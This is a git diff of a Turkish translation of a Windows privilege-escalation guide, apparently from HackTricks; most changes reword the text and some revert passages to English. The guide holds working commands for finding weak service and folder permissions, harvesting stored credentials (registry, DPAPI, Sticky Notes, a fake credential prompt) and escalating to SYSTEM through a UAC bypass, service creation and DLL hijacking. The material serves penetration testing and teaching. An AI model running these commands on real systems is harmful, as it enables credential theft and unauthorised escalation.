- **WRITE_OWNER**: Mülk edinimi ve izin yeniden yapılandırmasına izin verir.
 | 
			
		||||
- **GENERIC_WRITE**: Servis yapılandırmalarını değiştirme yeteneğini devralır.
 | 
			
		||||
- **GENERIC_ALL**: Ayrıca servis yapılandırmalarını değiştirme yeteneğini devralır.
 | 
			
		||||
 | 
			
		||||
@ -472,7 +472,7 @@ Bu güvenlik açığının tespiti ve istismarı için _exploit/windows/local/se
 | 
			
		||||
 | 
			
		||||
### Servis ikili dosyalarının zayıf izinleri
 | 
			
		||||
 | 
			
		||||
**Bir servis tarafından yürütülen ikili dosyayı değiştirebilir misiniz** veya **ikili dosyanın bulunduğu klasörde yazma izinleriniz var mı** ([**DLL Hijacking**](dll-hijacking/))**.**\
 | 
			
		||||
**Bir servis tarafından yürütülen ikili dosyayı değiştirebilir misiniz** veya ikilinin bulunduğu **klasörde yazma izinleriniz var mı** ([**DLL Hijacking**](dll-hijacking/index.html))**.**\
 | 
			
		||||
Bir servis tarafından yürütülen her ikili dosyayı **wmic** (system32'de değil) kullanarak alabilir ve izinlerinizi **icacls** ile kontrol edebilirsiniz:
 | 
			
		||||
```bash
 | 
			
		||||
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
 | 
			
		||||
@ -553,7 +553,7 @@ Windows, bir hizmet başarısız olursa alınacak eylemleri belirtmeye olanak ta
 | 
			
		||||
 | 
			
		||||
### Installed Applications
 | 
			
		||||
 | 
			
		||||
**İkili dosyaların izinlerini** kontrol edin (belki birini değiştirebilir ve ayrıcalıkları yükseltebilirsiniz) ve **klasörlerin** ([DLL Hijacking](dll-hijacking/)).
 | 
			
		||||
**İkili dosyaların izinlerini** kontrol edin (belki birini değiştirebilir ve ayrıcalıkları yükseltebilirsiniz) ve **klasörlerin** ([DLL Hijacking](dll-hijacking/index.html)).
 | 
			
		||||
```bash
 | 
			
		||||
dir /a "C:\Program Files"
 | 
			
		||||
dir /a "C:\Program Files (x86)"
 | 
			
		||||
@ -564,9 +564,9 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
 | 
			
		||||
```
 | 
			
		||||
### Yazma İzinleri
 | 
			
		||||
 | 
			
		||||
Bazı özel dosyaları okumak için bir yapılandırma dosyasını değiştirebilir misiniz veya bir Yönetici hesabı (schedtasks) tarafından çalıştırılacak bir ikili dosyayı değiştirebilir misiniz kontrol edin.
 | 
			
		||||
Bazı yapılandırma dosyalarını özel bir dosyayı okumak için değiştirebilir misiniz veya bir Yönetici hesabı (schedtasks) tarafından çalıştırılacak bir ikili dosyayı değiştirebilir misiniz kontrol edin.
 | 
			
		||||
 | 
			
		||||
Sistemde zayıf klasör/dosya izinlerini bulmanın bir yolu şudur:
 | 
			
		||||
Sistemde zayıf klasör/dosya izinlerini bulmanın bir yolu:
 | 
			
		||||
```bash
 | 
			
		||||
accesschk.exe /accepteula
 | 
			
		||||
# Find all weak folder permissions per drive.
 | 
			
		||||
@ -592,7 +592,7 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac
 | 
			
		||||
### Başlangıçta Çalıştır
 | 
			
		||||
 | 
			
		||||
**Farklı bir kullanıcı tarafından çalıştırılacak bazı kayıt defteri veya ikili dosyaları geçersiz kılabilir misiniz kontrol edin.**\
 | 
			
		||||
**Daha fazla bilgi için** ilginç **autorun konumları hakkında** **aşağıdaki sayfayı** okuyun:
 | 
			
		||||
**Yetki artırımı için ilginç** **autorun konumları hakkında daha fazla bilgi edinmek için** **aşağıdaki sayfayı** **okuyun**:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
privilege-escalation-with-autorun-binaries.md
 | 
			
		||||
@ -632,7 +632,7 @@ net share #Check current shares
 | 
			
		||||
```
 | 
			
		||||
### hosts dosyası
 | 
			
		||||
 | 
			
		||||
Hosts dosyasında hardcoded olarak bulunan diğer bilinen bilgisayarları kontrol edin.
 | 
			
		||||
hosts dosyasında hardcoded olarak bulunan diğer bilinen bilgisayarları kontrol edin
 | 
			
		||||
```
 | 
			
		||||
type C:\Windows\System32\drivers\etc\hosts
 | 
			
		||||
```
 | 
			
		||||
@ -662,16 +662,16 @@ Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
 | 
			
		||||
 | 
			
		||||
[**Firewall ile ilgili komutlar için bu sayfayı kontrol edin**](../basic-cmd-for-pentesters.md#firewall) **(kuralları listele, kurallar oluştur, kapat, kapat...)**
 | 
			
		||||
 | 
			
		||||
Daha fazla [ağ numaralandırma komutları burada](../basic-cmd-for-pentesters.md#network)
 | 
			
		||||
Daha fazla [ağ enumerasyonu komutları burada](../basic-cmd-for-pentesters.md#network)
 | 
			
		||||
 | 
			
		||||
### Windows için Linux Alt Sistemi (wsl)
 | 
			
		||||
### Windows Alt Sistemi için Linux (wsl)
 | 
			
		||||
```bash
 | 
			
		||||
C:\Windows\System32\bash.exe
 | 
			
		||||
C:\Windows\System32\wsl.exe
 | 
			
		||||
```
 | 
			
		||||
Binary `bash.exe` ayrıca `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` içinde bulunabilir.
 | 
			
		||||
 | 
			
		||||
Eğer root kullanıcı alırsanız, herhangi bir portta dinleyebilirsiniz (ilk kez `nc.exe` ile bir portta dinlediğinizde, GUI üzerinden `nc`'nin güvenlik duvarı tarafından izin verilip verilmeyeceğini soracaktır).
 | 
			
		||||
Eğer root kullanıcısı olursanız, herhangi bir portta dinleyebilirsiniz (ilk kez `nc.exe` kullanarak bir portta dinlediğinizde, GUI üzerinden `nc`'nin güvenlik duvarı tarafından izin verilip verilmeyeceğini soracaktır).
 | 
			
		||||
```bash
 | 
			
		||||
wsl whoami
 | 
			
		||||
./ubuntun1604.exe config --default-user root
 | 
			
		||||
@ -703,7 +703,7 @@ Windows Kasa, **Windows**'un kullanıcıları **otomatik olarak giriş yapabilec
 | 
			
		||||
 | 
			
		||||
Windows Kasa, Windows'un kullanıcıları otomatik olarak giriş yapabileceği kimlik bilgilerini saklar, bu da demektir ki, herhangi bir **kaynağa erişmek için kimlik bilgilerine ihtiyaç duyan Windows uygulaması** (sunucu veya web sitesi) **bu Kimlik Bilgileri Yöneticisi** ve Windows Kasa'dan yararlanabilir ve kullanıcıların her seferinde kullanıcı adı ve şifre girmesi yerine sağlanan kimlik bilgilerini kullanabilir.
 | 
			
		||||
 | 
			
		||||
Uygulamalar Kimlik Bilgileri Yöneticisi ile etkileşime geçmediği sürece, belirli bir kaynak için kimlik bilgilerini kullanmalarının mümkün olduğunu düşünmüyorum. Bu nedenle, uygulamanız kasayı kullanmak istiyorsa, bir şekilde **kimlik bilgileri yöneticisi ile iletişim kurmalı ve o kaynak için kimlik bilgilerini varsayılan depolama kasasından talep etmelidir.**
 | 
			
		||||
Uygulamalar Kimlik Bilgileri Yöneticisi ile etkileşime geçmediği sürece, belirli bir kaynak için kimlik bilgilerini kullanmalarının mümkün olduğunu düşünmüyorum. Bu nedenle, uygulamanız kasayı kullanmak istiyorsa, bir şekilde **kimlik bilgileri yöneticisi ile iletişim kurmalı ve varsayılan depolama kasasından o kaynak için kimlik bilgilerini talep etmelidir**.
 | 
			
		||||
 | 
			
		||||
Makinedeki saklanan kimlik bilgilerini listelemek için `cmdkey` kullanın.
 | 
			
		||||
```bash
 | 
			
		||||
@ -727,9 +727,9 @@ Not edin ki mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/util
 | 
			
		||||
 | 
			
		||||
**Data Protection API (DPAPI)**, verilerin simetrik şifrelenmesi için bir yöntem sağlar ve esasen Windows işletim sistemi içinde asimetrik özel anahtarların simetrik şifrelenmesi için kullanılır. Bu şifreleme, önemli ölçüde entropiye katkıda bulunmak için bir kullanıcı veya sistem sırrını kullanır.
 | 
			
		||||
 | 
			
		||||
**DPAPI, kullanıcı giriş sırlarından türetilen simetrik bir anahtar aracılığıyla anahtarların şifrelenmesini sağlar**. Sistem şifrelemesi içeren senaryolarda, sistemin alan kimlik doğrulama sırlarını kullanır.
 | 
			
		||||
**DPAPI, kullanıcı giriş sırlarından türetilen bir simetrik anahtar aracılığıyla anahtarların şifrelenmesini sağlar**. Sistem şifrelemesi içeren senaryolarda, sistemin alan kimlik doğrulama sırlarını kullanır.
 | 
			
		||||
 | 
			
		||||
DPAPI kullanarak şifrelenmiş kullanıcı RSA anahtarları, `%APPDATA%\Microsoft\Protect\{SID}` dizininde saklanır; burada `{SID}`, kullanıcının [Güvenlik Tanımlayıcısı](https://en.wikipedia.org/wiki/Security_Identifier)'nı temsil eder. **DPAPI anahtarı, kullanıcının özel anahtarlarını koruyan anahtar ile aynı dosyada yer alır** ve genellikle 64 bayt rastgele veriden oluşur. (Bu dizine erişimin kısıtlandığını ve içeriğinin CMD'de `dir` komutu ile listelenemediğini, ancak PowerShell aracılığıyla listelenebileceğini not etmek önemlidir).
 | 
			
		||||
DPAPI kullanarak şifrelenmiş kullanıcı RSA anahtarları, `%APPDATA%\Microsoft\Protect\{SID}` dizininde saklanır; burada `{SID}`, kullanıcının [Güvenlik Tanımlayıcısı](https://en.wikipedia.org/wiki/Security_Identifier) anlamına gelir. **DPAPI anahtarı, kullanıcının özel anahtarlarını koruyan anahtar ile aynı dosyada yer alır** ve genellikle 64 bayt rastgele veriden oluşur. (Bu dizine erişimin kısıtlandığını ve içeriğinin CMD'de `dir` komutu ile listelenemediğini, ancak PowerShell aracılığıyla listelenebileceğini belirtmek önemlidir).
 | 
			
		||||
```powershell
 | 
			
		||||
Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
 | 
			
		||||
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\
 | 
			
		||||
@ -752,7 +752,7 @@ dpapi-extracting-passwords.md
 | 
			
		||||
 | 
			
		||||
### PowerShell Kimlik Bilgileri
 | 
			
		||||
 | 
			
		||||
**PowerShell kimlik bilgileri**, şifrelenmiş kimlik bilgilerini rahat bir şekilde saklamak için genellikle **betik** ve otomasyon görevlerinde kullanılır. Kimlik bilgileri **DPAPI** kullanılarak korunur, bu genellikle yalnızca oluşturuldukları bilgisayarda aynı kullanıcı tarafından şifresinin çözülebileceği anlamına gelir.
 | 
			
		||||
**PowerShell kimlik bilgileri**, şifrelenmiş kimlik bilgilerini rahat bir şekilde saklamak için genellikle **betik yazma** ve otomasyon görevlerinde kullanılır. Kimlik bilgileri **DPAPI** kullanılarak korunur, bu genellikle yalnızca oluşturuldukları bilgisayarda aynı kullanıcı tarafından şifresinin çözülebileceği anlamına gelir.
 | 
			
		||||
 | 
			
		||||
Bir dosyadan PS kimlik bilgilerini **şifrelemek** için şunu yapabilirsiniz:
 | 
			
		||||
```powershell
 | 
			
		||||
@ -793,7 +793,7 @@ Birçok DPAPI masterkey'i Mimikatz `sekurlsa::dpapi` modülü ile bellekten **ç
 | 
			
		||||
 | 
			
		||||
### Sticky Notes
 | 
			
		||||
 | 
			
		||||
İnsanlar genellikle Windows iş istasyonlarında şifreleri ve diğer bilgileri **kaydetmek için** StickyNotes uygulamasını kullanır, bunun bir veritabanı dosyası olduğunu fark etmeden. Bu dosya `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` konumunda bulunur ve her zaman aramaya ve incelemeye değerdir.
 | 
			
		||||
İnsanlar genellikle Windows iş istasyonlarında şifreleri ve diğer bilgileri **kaydetmek için** StickyNotes uygulamasını kullanır, bunun bir veritabanı dosyası olduğunu fark etmezler. Bu dosya `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` konumunda bulunur ve her zaman aramaya ve incelemeye değerdir.
 | 
			
		||||
 | 
			
		||||
### AppCmd.exe
 | 
			
		||||
 | 
			
		||||
@ -904,7 +904,7 @@ SSH özel anahtarları kayıt defteri anahtarı `HKCU\Software\OpenSSH\Agent\Key
 | 
			
		||||
```bash
 | 
			
		||||
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
 | 
			
		||||
```
 | 
			
		||||
Eğer bu yolda herhangi bir giriş bulursanız, muhtemelen kaydedilmiş bir SSH anahtarıdır. Şifreli olarak saklanır ancak [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) kullanılarak kolayca şifresi çözülebilir.\
 | 
			
		||||
Eğer o yolda herhangi bir giriş bulursanız, muhtemelen kaydedilmiş bir SSH anahtarıdır. Şifreli olarak saklanır ancak [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) kullanılarak kolayca şifresi çözülebilir.\
 | 
			
		||||
Bu teknik hakkında daha fazla bilgi burada: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
 | 
			
		||||
 | 
			
		||||
Eğer `ssh-agent` servisi çalışmıyorsa ve başlangıçta otomatik olarak başlamasını istiyorsanız:
 | 
			
		||||
@ -1010,7 +1010,7 @@ C:\inetpub\wwwroot\web.config
 | 
			
		||||
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
 | 
			
		||||
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
 | 
			
		||||
```
 | 
			
		||||
Örnek web.config ile kimlik bilgileri:
 | 
			
		||||
Örnek bir web.config dosyası ile kimlik bilgileri:
 | 
			
		||||
```xml
 | 
			
		||||
<authentication mode="Forms">
 | 
			
		||||
<forms name="login" loginUrl="/admin">
 | 
			
		||||
@ -1050,7 +1050,7 @@ Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct
 | 
			
		||||
```
 | 
			
		||||
### Kimlik bilgilerini isteyin
 | 
			
		||||
 | 
			
		||||
Kullanıcıdan **kendi kimlik bilgilerini veya farklı bir kullanıcının kimlik bilgilerini girmesini isteyebilirsiniz** eğer onları bilebileceğini düşünüyorsanız (dikkat edin ki **müşteriden** doğrudan **kimlik bilgilerini istemek** gerçekten **riskli**dir):
 | 
			
		||||
Her zaman **kullanıcıdan kendi kimlik bilgilerini veya farklı bir kullanıcının kimlik bilgilerini girmesini isteyebilirsiniz** eğer onları bilebileceğini düşünüyorsanız (dikkat edin ki **müşteriden** doğrudan **kimlik bilgilerini istemek** gerçekten **riskli**dir):
 | 
			
		||||
```bash
 | 
			
		||||
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
 | 
			
		||||
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
 | 
			
		||||
@ -1141,14 +1141,14 @@ Bin'i kontrol ederek içinde kimlik bilgileri aramalısınız.
 | 
			
		||||
 | 
			
		||||
### Inside the registry
 | 
			
		||||
 | 
			
		||||
**Kimlik bilgileri içeren diğer olası kayıt defteri anahtarları**
 | 
			
		||||
**Kimlik bilgileri ile diğer olası kayıt defteri anahtarları**
 | 
			
		||||
```bash
 | 
			
		||||
reg query "HKCU\Software\ORL\WinVNC3\Password"
 | 
			
		||||
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
 | 
			
		||||
reg query "HKCU\Software\TightVNC\Server"
 | 
			
		||||
reg query "HKCU\Software\OpenSSH\Agent\Key"
 | 
			
		||||
```
 | 
			
		||||
[**AçıkSSH anahtarlarını kayıt defterinden çıkarın.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
 | 
			
		||||
[**Açık SSH anahtarlarını kayıt defterinden çıkarın.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
 | 
			
		||||
 | 
			
		||||
### Tarayıcı Geçmişi
 | 
			
		||||
 | 
			
		||||
@ -1168,7 +1168,7 @@ Tarayıcılardan şifreleri çıkarmak için araçlar:
 | 
			
		||||
 | 
			
		||||
COM sınıfları ve arayüzleri, kayıt defterinde **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** ve **HKEY\_**_**CLASSES\_**_**ROOT\Interface** altında tanımlanmıştır. Bu kayıt defteri, **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT** birleştirilerek oluşturulur.
 | 
			
		||||
 | 
			
		||||
Bu kayıt defterinin CLSID'leri içinde, bir **DLL**'ye işaret eden bir **varsayılan değer** ve **Apartment** (Tek İşlem), **Free** (Çoklu İşlem), **Both** (Tek veya Çoklu) veya **Neutral** (İşlem Nötr) olabilen bir değer olan **ThreadingModel**'i içeren **InProcServer32** adlı alt kayıt defterini bulabilirsiniz.
 | 
			
		||||
Bu kayıt defterinin CLSID'leri içinde, bir **DLL**'ye işaret eden bir **varsayılan değer** ve **Apartment** (Tek İşlem), **Free** (Çoklu İşlem), **Both** (Tek veya Çoklu) veya **Neutral** (İşlem Nötr) olabilen bir **ThreadingModel** adlı değeri içeren **InProcServer32** adlı alt kayıt defterini bulabilirsiniz.
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
@ -1203,11 +1203,11 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d
 | 
			
		||||
```
 | 
			
		||||
### Parola arayan araçlar
 | 
			
		||||
 | 
			
		||||
[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **bir msf** eklentisidir, bu eklentiyi **kurbanın içindeki kimlik bilgilerini arayan her metasploit POST modülünü otomatik olarak çalıştırmak için** oluşturdum.\
 | 
			
		||||
[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **bir msf** eklentisidir, bu eklentiyi **kurbanın içindeki kimlik bilgilerini arayan her metasploit POST modülünü otomatik olarak çalıştırmak için oluşturdum.**\
 | 
			
		||||
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) bu sayfada belirtilen parolaları içeren tüm dosyaları otomatik olarak arar.\
 | 
			
		||||
[**Lazagne**](https://github.com/AlessandroZ/LaZagne) bir sistemden parola çıkarmak için başka bir harika araçtır.
 | 
			
		||||
 | 
			
		||||
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) aracı **oturumlar**, **kullanıcı adları** ve **parolaları** açık metin olarak kaydeden çeşitli araçların (PuTTY, WinSCP, FileZilla, SuperPuTTY ve RDP) verilerini arar.
 | 
			
		||||
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) aracı **oturumlar**, **kullanıcı adları** ve **parolaları** açık metin olarak kaydeden çeşitli araçların verilerini arar (PuTTY, WinSCP, FileZilla, SuperPuTTY ve RDP).
 | 
			
		||||
```bash
 | 
			
		||||
Import-Module path\to\SessionGopher.ps1;
 | 
			
		||||
Invoke-SessionGopher -Thorough
 | 
			
		||||
@ -1216,26 +1216,26 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
 | 
			
		||||
```
 | 
			
		||||
## Sızdırılan Handle'lar
 | 
			
		||||
 | 
			
		||||
**SYSTEM olarak çalışan bir süreç yeni bir süreç açtığında** (`OpenProcess()`) **tam erişim** ile. Aynı süreç **düşük ayrıcalıklarla yeni bir süreç oluşturduğunda** (`CreateProcess()`) **ana sürecin tüm açık handle'larını miras alır**.\
 | 
			
		||||
Eğer **düşük ayrıcalıklı sürece tam erişiminiz varsa**, `OpenProcess()` ile oluşturulan **ayrıca ayrıcalıklı sürece açık handle'ı alabilir** ve **shellcode enjekte edebilirsiniz**.\
 | 
			
		||||
[Bu örneği okuyun, **bu güvenlik açığını nasıl tespit edip istismar edeceğiniz hakkında daha fazla bilgi için**.](leaked-handle-exploitation.md)\
 | 
			
		||||
[**Farklı izin seviyeleri (sadece tam erişim değil) ile miras alınan süreçlerin ve thread'lerin daha fazla açık handle'ını test etme ve istismar etme hakkında daha kapsamlı bir açıklama için bu diğer gönderiyi okuyun**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
 | 
			
		||||
Imagine that **a process running as SYSTEM open a new process** (`OpenProcess()`) with **full access**. The same process **also create a new process** (`CreateProcess()`) **with low privileges but inheriting all the open handles of the main process**.\
 | 
			
		||||
Then, if you have **full access to the low privileged process**, you can grab the **open handle to the privileged process created** with `OpenProcess()` and **inject a shellcode**.\
 | 
			
		||||
[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\
 | 
			
		||||
[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
 | 
			
		||||
 | 
			
		||||
## İsimlendirilmiş Boru Müşteri Taklidi
 | 
			
		||||
## İsimli Boru İstemcisi Taklit Etme
 | 
			
		||||
 | 
			
		||||
Paylaşılan bellek segmentleri, **borular** olarak adlandırılır, süreç iletişimi ve veri transferini sağlar.
 | 
			
		||||
Shared memory segments, referred to as **pipes**, enable process communication and data transfer.
 | 
			
		||||
 | 
			
		||||
Windows, **İsimlendirilmiş Borular** adı verilen bir özellik sunar; bu, ilgisiz süreçlerin veri paylaşmasına olanak tanır, hatta farklı ağlar üzerinden bile. Bu, **isimlendirilmiş boru sunucusu** ve **isimlendirilmiş boru istemcisi** olarak tanımlanan rollerle bir istemci/sunucu mimarisine benzer.
 | 
			
		||||
Windows provides a feature called **Named Pipes**, allowing unrelated processes to share data, even over different networks. This resembles a client/server architecture, with roles defined as **named pipe server** and **named pipe client**.
 | 
			
		||||
 | 
			
		||||
Bir **istemci** tarafından bir boru aracılığıyla veri gönderildiğinde, boruyu kuran **sunucu**, gerekli **SeImpersonate** haklarına sahip olması durumunda **istemcinin kimliğini üstlenme** yeteneğine sahiptir. Bir boru aracılığıyla iletişim kuran **ayrıca ayrıcalıklı bir süreci** tanımlamak, o süreç boruyla etkileşime girdiğinde kimliğini benimseyerek **daha yüksek ayrıcalıklar kazanma** fırsatı sunar. Böyle bir saldırıyı gerçekleştirmek için talimatlar [**burada**](named-pipe-client-impersonation.md) ve [**burada**](#from-high-integrity-to-system) bulunabilir.
 | 
			
		||||
When data is sent through a pipe by a **client**, the **server** that set up the pipe has the ability to **take on the identity** of the **client**, assuming it has the necessary **SeImpersonate** rights. Identifying a **privileged process** that communicates via a pipe you can mimic provides an opportunity to **gain higher privileges** by adopting the identity of that process once it interacts with the pipe you established. For instructions on executing such an attack, helpful guides can be found [**here**](named-pipe-client-impersonation.md) and [**here**](#from-high-integrity-to-system).
 | 
			
		||||
 | 
			
		||||
Ayrıca, aşağıdaki araç, **burp gibi bir araçla isimlendirilmiş boru iletişimini kesmeyi sağlar:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **ve bu araç, privesc bulmak için tüm boruları listeleyip görmeyi sağlar** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
 | 
			
		||||
Also the following tool allows to **intercept a named pipe communication with a tool like burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **and this tool allows to list and see all the pipes to find privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
 | 
			
		||||
 | 
			
		||||
## Çeşitli
 | 
			
		||||
 | 
			
		||||
### **Şifreler için Komut Satırlarını İzleme**
 | 
			
		||||
 | 
			
		||||
Bir kullanıcı olarak bir shell aldığınızda, **komut satırında kimlik bilgilerini geçiren** planlanmış görevler veya başka süreçler olabilir. Aşağıdaki script, her iki saniyede bir süreç komut satırlarını yakalar ve mevcut durumu önceki durumla karşılaştırarak herhangi bir farkı çıktılar.
 | 
			
		||||
When getting a shell as a user, there may be scheduled tasks or other processes being executed which **pass credentials on the command line**. The script below captures process command lines every two seconds and compares the current state with the previous state, outputting any differences.
 | 
			
		||||
```powershell
 | 
			
		||||
while($true)
 | 
			
		||||
{
 | 
			
		||||
@ -1245,13 +1245,13 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
 | 
			
		||||
Compare-Object -ReferenceObject $process -DifferenceObject $process2
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
## Şifreleri süreçlerden çalma
 | 
			
		||||
## Şifreleri Süreçlerden Çalma
 | 
			
		||||
 | 
			
		||||
## Düşük Yetkili Kullanıcıdan NT\AUTHORITY SYSTEM'a (CVE-2019-1388) / UAC Atlatma
 | 
			
		||||
## Düşük Yetkili Kullanıcıdan NT\AUTHORITY SYSTEM'a (CVE-2019-1388) / UAC Bypass
 | 
			
		||||
 | 
			
		||||
Grafik arayüzüne (konsol veya RDP aracılığıyla) erişiminiz varsa ve UAC etkinse, bazı Microsoft Windows sürümlerinde yetkisiz bir kullanıcıdan "NT\AUTHORITY SYSTEM" gibi bir terminal veya başka bir süreci çalıştırmak mümkündür.
 | 
			
		||||
 | 
			
		||||
Bu, aynı anda yetki yükseltme ve UAC'yi atlatma olanağı sağlar ve aynı zafiyetle gerçekleştirilir. Ayrıca, herhangi bir şey yüklemeye gerek yoktur ve süreç sırasında kullanılan ikili dosya, Microsoft tarafından imzalanmış ve verilmiştir.
 | 
			
		||||
Bu, aynı anda yetki yükseltme ve UAC'yi atlatma olanağı sağlar ve aynı zafiyeti kullanır. Ayrıca, herhangi bir şey yüklemeye gerek yoktur ve süreç sırasında kullanılan ikili dosya, Microsoft tarafından imzalanmış ve verilmiştir.
 | 
			
		||||
 | 
			
		||||
Etkilenen sistemlerden bazıları şunlardır:
 | 
			
		||||
```
 | 
			
		||||
@ -1297,9 +1297,9 @@ Aşağıdaki GitHub deposunda gerekli tüm dosyalar ve bilgiler bulunmaktadır:
 | 
			
		||||
 | 
			
		||||
https://github.com/jas502n/CVE-2019-1388
 | 
			
		||||
 | 
			
		||||
## Yönetici Orta Düzeyden Yüksek Düzey Entegrite Seviyesine / UAC Atlatma
 | 
			
		||||
## Yönetici Orta'dan Yüksek Bütünlük Seviyesine / UAC Atlatma
 | 
			
		||||
 | 
			
		||||
**Entegrite Seviyeleri hakkında bilgi edinmek için bunu okuyun:**
 | 
			
		||||
**Bütünlük Seviyeleri hakkında bilgi edinmek için bunu okuyun:**
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
integrity-levels.md
 | 
			
		||||
@ -1311,11 +1311,11 @@ Sonra **UAC ve UAC atlatmaları hakkında bilgi edinmek için bunu okuyun:**
 | 
			
		||||
../authentication-credentials-uac-and-efs/uac-user-account-control.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
## **Yüksek Entegriteden Sistem'e**
 | 
			
		||||
## **Yüksek Bütünlükten Sistem'e**
 | 
			
		||||
 | 
			
		||||
### **Yeni hizmet**
 | 
			
		||||
 | 
			
		||||
Eğer zaten Yüksek Entegrite sürecinde çalışıyorsanız, **SİSTEM'e geçiş** yapmak sadece **yeni bir hizmet oluşturup çalıştırmak** ile kolay olabilir:
 | 
			
		||||
Eğer zaten Yüksek Bütünlük sürecinde çalışıyorsanız, **SYSTEM'e geçiş** sadece **yeni bir hizmet oluşturup çalıştırmak** ile kolay olabilir:
 | 
			
		||||
```
 | 
			
		||||
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
 | 
			
		||||
sc start newservicename
 | 
			
		||||
@ -1331,7 +1331,7 @@ Yüksek Bütünlük sürecinden **AlwaysInstallElevated kayıt defteri girişler
 | 
			
		||||
 | 
			
		||||
### SeDebug + SeImpersonate'den Tam Token ayrıcalıklarına
 | 
			
		||||
 | 
			
		||||
Bu token ayrıcalıklarına sahipseniz (muhtemelen bunu zaten Yüksek Bütünlük sürecinde bulacaksınız), **neredeyse her süreci** (korunan süreçler hariç) SeDebug ayrıcalığı ile **açabileceksiniz**, sürecin **token'ını kopyalayacak** ve o token ile **rastgele bir süreç oluşturacaksınız**.\
 | 
			
		||||
Bu token ayrıcalıklarına sahipseniz (muhtemelen bunu zaten Yüksek Bütünlük sürecinde bulacaksınız), **neredeyse her süreci** (korunan süreçler hariç) SeDebug ayrıcalığı ile **açabileceksiniz**, sürecin **token'ını kopyalayabilir** ve o token ile **rastgele bir süreç oluşturabilirsiniz**.\
 | 
			
		||||
Bu tekniği kullanmak genellikle **tüm token ayrıcalıklarına sahip olarak SYSTEM olarak çalışan herhangi bir süreci seçmek** şeklindedir (_evet, tüm token ayrıcalıklarına sahip SYSTEM süreçlerini bulabilirsiniz_).\
 | 
			
		||||
**Önerilen tekniği uygulayan bir** [**kod örneğini buradan bulabilirsiniz**](sedebug-+-seimpersonate-copy-token.md)**.**
 | 
			
		||||
 | 
			
		||||
@ -1344,7 +1344,7 @@ Eğer [**isimli borular kullanarak yüksek bütünlükten Sisteme nasıl geçile
 | 
			
		||||
### Dll Hijacking
 | 
			
		||||
 | 
			
		||||
Eğer **SYSTEM** olarak çalışan bir **süreç** tarafından **yüklenen bir dll'yi** **ele geçirmeyi** başarırsanız, bu izinlerle rastgele kod çalıştırabileceksiniz. Bu nedenle Dll Hijacking, bu tür ayrıcalık yükseltmeleri için de faydalıdır ve ayrıca, **yüksek bütünlük sürecinden elde edilmesi çok daha kolaydır** çünkü dll'lerin yüklendiği klasörlerde **yazma izinlerine** sahip olacaktır.\
 | 
			
		||||
**Dll hijacking hakkında daha fazla bilgi edinebilirsiniz** [**buradan**](dll-hijacking/)**.**
 | 
			
		||||
